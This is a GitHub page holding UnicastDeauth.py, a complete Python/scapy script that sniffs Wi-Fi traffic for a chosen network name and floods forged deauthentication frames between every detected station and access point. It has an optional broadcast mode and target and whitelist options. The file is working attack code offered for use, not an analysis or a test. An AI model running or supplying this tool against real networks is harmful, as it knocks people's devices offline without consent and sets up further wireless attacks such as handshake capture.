-
Notifications
You must be signed in to change notification settings - Fork 0
/
UnicastDeauth.py
583 lines (499 loc) · 18.5 KB
/
UnicastDeauth.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
#!/usr/bin/env python3
# UnicastDeauth is a simple Python 3 script that automates unicast Wi-Fi
# deauthentication attacks
#
# author - mamatb (t.me/m_amatb)
# location - https://github.com/mamatb/UnicastDeauth
# style guide - https://google.github.io/styleguide/pyguide.html
# TODO
#
# add module docstring
# add tests using pytest
# check for protected management frames
# deal with SIGTERM in child processes
import argparse
from collections import abc
import re
from multiprocessing import pool as mp_pool
import sys
from scapy import sendrecv
from scapy.layers import dot11
BROADCAST = 'ff:ff:ff:ff:ff:ff'
DEAUTH_COUNT = 64
class MsgException(Exception):
"""Simple custom exception.
Attributes:
class._count: total depth of the exception traceback.
_message: description of the exception.
_count: depth level in the exception traceback.
"""
_count = 0
def __init__(self, message: str, *args, **kwargs) -> None:
super().__init__(*args, **kwargs)
self._message = message
MsgException._count += 1
self._count = MsgException._count
def __str__(self) -> str:
output = []
if self._count == MsgException._count:
output.append('[!] Exception: ')
output.append(f'{self._message}')
if self.__cause__ is not None:
output.append('. Caused by:\n')
output.append(' ' * (MsgException._count - self._count + 1))
output.append(f'[!] Exception: {self.__cause__}')
return ''.join(output)
def panic(self) -> None:
print(self, file=sys.stderr)
class AccessPoints:
"""Collection of Wi-Fi access points.
Attributes:
class._bssid_regex: regex to validate BSSIDs.
_essid: ESSID used by the access points.
_bssids: set of BSSIDs used by the access points.
"""
_bssid_regex = re.compile('^([0-9a-f]{2}:){5}[0-9a-f]{2}$')
def __init__(self, essid: str, bssids: str | None = None) -> None:
self._essid = essid
self._bssids = set()
if bssids is not None:
for bssid_ap in bssids.lower().split(','):
if AccessPoints._bssid_regex.match(bssid_ap):
self._bssids.add(bssid_ap)
def __contains__(self, bssid_ap: str) -> bool:
return bssid_ap in self._bssids
def __iter__(self) -> abc.Iterator[str]:
for bssid_ap in self._bssids:
yield bssid_ap
@property
def essid(self) -> str:
return self._essid
def add(self, bssid_ap: str) -> None:
self._bssids.add(bssid_ap)
print_info(
f'AP detected for network {self._essid}',
f' access point = {bssid_ap}',
)
class Stations:
"""Collection of Wi-Fi stations.
Attributes:
_essid: ESSID used by the stations.
_bssids: dict of {bssid_sta: bssid_ap} used by the stations.
"""
def __init__(self, essid: str) -> None:
self._essid = essid
self._bssids = {}
def __setitem__(self, bssid_sta: str, bssid_ap: str) -> None:
self._bssids[bssid_sta] = bssid_ap
print_info(
f'STA detected for network {self._essid}',
f' station = {bssid_sta}',
f' access point = {bssid_ap}',
)
@property
def essid(self) -> str:
return self._essid
def get(self, bssid_sta: str) -> str | None:
return self._bssids.get(bssid_sta)
class DeauthConfig:
"""Configuration of deauthentication attacks.
Attributes:
_wifi_interface: attacker Wi-Fi interface.
_broadcast_enabled: whether broadcast deauthentication is enabled.
_deauth_rounds: number of deauthentication rounds.
"""
def __init__(self, wifi_interface: str, broadcast_enabled: bool,
deauth_rounds: int) -> None:
self._wifi_interface = wifi_interface
self._broadcast_enabled = broadcast_enabled
self._deauth_rounds = deauth_rounds
@property
def wifi_interface(self) -> str:
return self._wifi_interface
@property
def broadcast_enabled(self) -> bool:
return self._broadcast_enabled
@property
def deauth_rounds(self) -> int:
return self._deauth_rounds
def print_info(*messages: str) -> None:
"""Prints additional information.
Args:
messages: additional information to print.
Returns:
None.
"""
print('[!] Info: ', end='', file=sys.stderr)
for message in messages:
print(message, file=sys.stderr)
def mute() -> None:
"""Mutes stdout and stderr.
Args:
None.
Returns:
None.
"""
sys.stdout = sys.stderr = None
def deauth_unicast(deauth_config: DeauthConfig, bssid_sta: str, bssid_ap: str,
bssid_net: str) -> None:
"""Performs unicast deauthentication.
Args:
deauth_config: configuration of the deauthentication attack.
bssid_sta: BSSID used by the station.
bssid_ap: BSSID used by the access point.
bssid_net: BSSID used by the network.
Returns:
None.
"""
try:
addr1, addr2 = bssid_sta, bssid_ap
for _ in range(deauth_config.deauth_rounds * 2):
sendrecv.sendp(
dot11.RadioTap()
/ dot11.Dot11(addr1=addr1, addr2=addr2, addr3=bssid_net)
/ dot11.Dot11Deauth(reason=7),
iface=deauth_config.wifi_interface,
count=DEAUTH_COUNT,
verbose=False,
)
addr1, addr2 = addr2, addr1
except Exception as e:
raise MsgException('unicast deauthentication frames could not be sent') from e
def deauth_broadcast(deauth_config: DeauthConfig, bssid_ap: str, bssid_net: str) -> None:
"""Performs broadcast deauthentication.
Args:
deauth_config: configuration of the deauthentication attack.
bssid_ap: BSSID used by the access point.
bssid_net: BSSID used by the network.
Returns:
None.
"""
try:
for _ in range(deauth_config.deauth_rounds):
sendrecv.sendp(
dot11.RadioTap()
/ dot11.Dot11(addr1=BROADCAST, addr2=bssid_ap, addr3=bssid_net)
/ dot11.Dot11Deauth(reason=7),
iface=deauth_config.wifi_interface,
count=DEAUTH_COUNT,
verbose=False,
)
except Exception as e:
raise MsgException('broadcast deauthentication frames could not be sent') from e
def get_essid(self: dot11.RadioTap) -> str | None:
"""Parses the ESSID of a Wi-Fi frame.
Args:
self: Wi-Fi frame.
Returns:
ESSID of the Wi-Fi frame or None.
"""
try:
dot11_element = self.getlayer(dot11.Dot11Elt)
while dot11_element is not None and dot11_element.ID != 0:
dot11_element = dot11_element.payload.getlayer(dot11.Dot11Elt)
return dot11_element.info.decode() if dot11_element is not None else None
except Exception as e:
raise MsgException('ESSID could not be parsed') from e
def get_src_dst_net(self: dot11.RadioTap) -> tuple[str, str, str] | tuple[None, None, None]:
"""Parses the Frame Control field of a Wi-Fi frame.
Args:
self: Wi-Fi frame.
Returns:
source, destination and network BSSIDs of the Wi-Fi frame or None.
"""
try:
bssid_src = bssid_dst = bssid_net = None
to_ds = self.FCfield & 1
from_ds = self.FCfield & 2
if to_ds == 0:
bssid_dst = self.addr1
if from_ds == 0:
bssid_src = self.addr2
bssid_net = self.addr3
else:
bssid_src = self.addr3
bssid_net = self.addr2
elif from_ds == 0:
bssid_src = self.addr2
bssid_dst = self.addr3
bssid_net = self.addr1
return bssid_src, bssid_dst, bssid_net
except Exception as e:
raise MsgException('Frame Control field could not be parsed') from e
def is_unicast(self: dot11.RadioTap) -> bool:
"""Checks if a Wi-Fi frame is unicast.
Args:
self: Wi-Fi frame.
Returns:
whether the Wi-Fi frame is unicast.
"""
try:
_, bssid_dst, _ = self.get_src_dst_net()
return int(bssid_dst.split(':')[0], 16) & 1 == 0
except Exception as e:
raise MsgException('Wi-Fi frame could not be classified') from e
def handle_beacon_proberesp(self: dot11.RadioTap, deauth_config: DeauthConfig,
aps_targetlist: AccessPoints, aps_whitelist: AccessPoints,
deauth_pool: mp_pool.Pool) -> None:
"""Processes a Wi-Fi frame of type management, subtype beacon or probe-resp.
Args:
self: Wi-Fi frame.
deauth_config: configuration of the deauthentication attack.
aps_targetlist: target Wi-Fi access points.
aps_whitelist: whitelisted Wi-Fi access points.
deauth_pool: process pool of the deauthentication attack.
Returns:
None.
"""
try:
bssid_src, _, bssid_net = self.get_src_dst_net()
if (
bssid_net is not None
and bssid_src not in aps_targetlist
and bssid_src not in aps_whitelist
and self.get_essid() == aps_targetlist.essid
):
aps_targetlist.add(bssid_src)
if deauth_config.broadcast_enabled:
deauth_pool.apply_async(
deauth_broadcast,
(deauth_config, bssid_src, bssid_net),
)
print_info(
f'sending {deauth_config.deauth_rounds} x {DEAUTH_COUNT}'
f' broadcast deauthentication frames from AP {bssid_src}'
)
except Exception as e:
raise MsgException('beacon/probe-resp frame could not be processed') from e
def handle_probereq(self: dot11.RadioTap, deauth_config: DeauthConfig,
aps_targetlist: AccessPoints, aps_whitelist: AccessPoints,
deauth_pool: mp_pool.Pool) -> None:
"""Processes a Wi-Fi frame of type management, subtype probe-req.
Args:
self: Wi-Fi frame.
deauth_config: configuration of the deauthentication attack.
aps_targetlist: target Wi-Fi access points.
aps_whitelist: whitelisted Wi-Fi access points.
deauth_pool: process pool of the deauthentication attack.
Returns:
None.
"""
try:
_, bssid_dst, bssid_net = self.get_src_dst_net()
if (
bssid_net is not None
and self.is_unicast()
and bssid_dst not in aps_targetlist
and bssid_dst not in aps_whitelist
and self.get_essid() == aps_targetlist.essid
):
aps_targetlist.add(bssid_dst)
if deauth_config.broadcast_enabled:
deauth_pool.apply_async(
deauth_broadcast,
(deauth_config, bssid_dst, bssid_net),
)
print_info(
f'sending {deauth_config.deauth_rounds} x {DEAUTH_COUNT}'
f' broadcast deauthentication frames from AP {bssid_dst}'
)
except Exception as e:
raise MsgException('probe-req frame could not be processed') from e
def handle_ctl_data(self: dot11.RadioTap, deauth_config: DeauthConfig,
aps_targetlist: AccessPoints, stations: Stations,
deauth_pool: mp_pool.Pool) -> None:
"""Processes a Wi-Fi frame of type ctl or data.
Args:
self: Wi-Fi frame.
deauth_config: configuration of the deauthentication attack.
aps_targetlist: target Wi-Fi access points.
stations: target Wi-Fi stations.
deauth_pool: process pool of the deauthentication attack.
Returns:
None.
"""
try:
bssid_src, bssid_dst, bssid_net = self.get_src_dst_net()
if bssid_net is not None:
if (
self.is_unicast()
and bssid_src in aps_targetlist
and stations.get(bssid_dst) != bssid_src
):
stations[bssid_dst] = bssid_src
deauth_pool.apply_async(
deauth_unicast,
(deauth_config, bssid_dst, bssid_src, bssid_net),
)
print_info(
f'sending {deauth_config.deauth_rounds} x {DEAUTH_COUNT}'
f' deauthentication frames from AP {bssid_src} to STA {bssid_dst}'
)
print_info(
f'sending {deauth_config.deauth_rounds} x {DEAUTH_COUNT}'
f' deauthentication frames from STA {bssid_dst} to AP {bssid_src}'
)
elif (
bssid_dst in aps_targetlist
and stations.get(bssid_src) != bssid_dst
):
stations[bssid_src] = bssid_dst
deauth_pool.apply_async(
deauth_unicast,
(deauth_config, bssid_src, bssid_dst, bssid_net),
)
print_info(
f'sending {deauth_config.deauth_rounds} x {DEAUTH_COUNT}'
f' deauthentication frames from AP {bssid_dst} to STA {bssid_src}'
)
print_info(
f'sending {deauth_config.deauth_rounds} x {DEAUTH_COUNT}'
f' deauthentication frames from STA {bssid_src} to AP {bssid_dst}'
)
except Exception as e:
raise MsgException('ctl/data frame could not be processed') from e
def handle_frame(self: dot11.RadioTap, deauth_config: DeauthConfig,
aps_targetlist: AccessPoints, aps_whitelist: AccessPoints,
stations: Stations, deauth_pool: mp_pool.Pool) -> None:
"""Processes a sniffed Wi-Fi frame.
Args:
self: Wi-Fi frame.
deauth_config: configuration of the deauthentication attack.
aps_targetlist: target Wi-Fi access points.
aps_whitelist: whitelisted Wi-Fi access points.
stations: target Wi-Fi stations.
deauth_pool: process pool of the deauthentication attack.
Returns:
None.
"""
try:
if self.haslayer(dot11.Dot11Beacon) or self.haslayer(dot11.Dot11ProbeResp):
self.handle_beacon_proberesp(
deauth_config,
aps_targetlist,
aps_whitelist,
deauth_pool,
)
elif self.haslayer(dot11.Dot11ProbeReq):
self.handle_probereq(
deauth_config,
aps_targetlist,
aps_whitelist,
deauth_pool,
)
else:
self.handle_ctl_data(
deauth_config,
aps_targetlist,
stations,
deauth_pool,
)
except Exception as e:
raise MsgException('sniffed Wi-Fi frame could not be processed') from e
def main() -> None: # pylint: disable=C0116
try:
examples = [
'examples:',
'UnicastDeauth.py -i wlan0 -e NETGEAR -b',
'UnicastDeauth.py -i wlan0 -e NETGEAR -n 8',
'UnicastDeauth.py -i wlan0 -e NETGEAR -tl 00:11:22:33:44:00,00:11:22:33:44:55',
'UnicastDeauth.py -i wlan0 -e NETGEAR -wl 00:11:22:33:44:00,00:11:22:33:44:55',
]
parser = argparse.ArgumentParser(
description=(
'UnicastDeauth is a simple Python 3 script that automates'
' unicast Wi-Fi deauthentication attacks'
),
formatter_class=argparse.RawTextHelpFormatter,
epilog='\n '.join(examples),
)
parser.add_argument(
'-i',
dest='wifi_interface',
required=True,
help='attacker Wi-Fi interface',
)
parser.add_argument(
'-e',
dest='essid',
required=True,
help='target ESSID',
)
parser.add_argument(
'-b',
dest='broadcast_enabled',
action='store_true',
help='enable broadcast deauthentication',
)
parser.add_argument(
'-n',
dest='deauth_rounds',
type=int,
default=1,
help='number of deauthentication rounds',
)
parser.add_argument(
'-tl',
dest='aps_targetlist',
help='comma-separated known target APs',
)
parser.add_argument(
'-wl',
dest='aps_whitelist',
help='comma-separated APs whitelist',
)
args = parser.parse_args()
filters = [
'wlan type mgt subtype beacon',
'wlan type mgt subtype probe-req',
'wlan type mgt subtype probe-resp',
'wlan type ctl',
'wlan type data',
]
methods_dot11_RadioTap = [
get_essid,
get_src_dst_net,
is_unicast,
handle_beacon_proberesp,
handle_probereq,
handle_ctl_data,
handle_frame,
]
for method in methods_dot11_RadioTap:
setattr(dot11.RadioTap, method.__name__, method)
deauth_config = DeauthConfig(
args.wifi_interface,
args.broadcast_enabled,
args.deauth_rounds,
)
aps_targetlist = AccessPoints(args.essid, args.aps_targetlist)
aps_whitelist = AccessPoints(args.essid, args.aps_whitelist)
stations = Stations(args.essid)
with mp_pool.Pool(processes=1, initializer=mute) as deauth_pool:
if deauth_config.broadcast_enabled:
for bssid_ap in aps_targetlist:
deauth_pool.apply_async(
deauth_broadcast,
(deauth_config, bssid_ap, bssid_ap),
)
print_info(
f'sending {deauth_config.deauth_rounds} x {DEAUTH_COUNT}'
f' broadcast deauthentication frames from AP {bssid_ap}'
)
sendrecv.sniff(
iface=args.wifi_interface,
filter=' or '.join(filters),
prn=lambda frame: frame.handle_frame(
deauth_config,
aps_targetlist,
aps_whitelist,
stations,
deauth_pool,
),
)
except MsgException as msg_exception:
msg_exception.panic()
except Exception as e:
MsgException(e).panic()
if __name__ == '__main__':
main()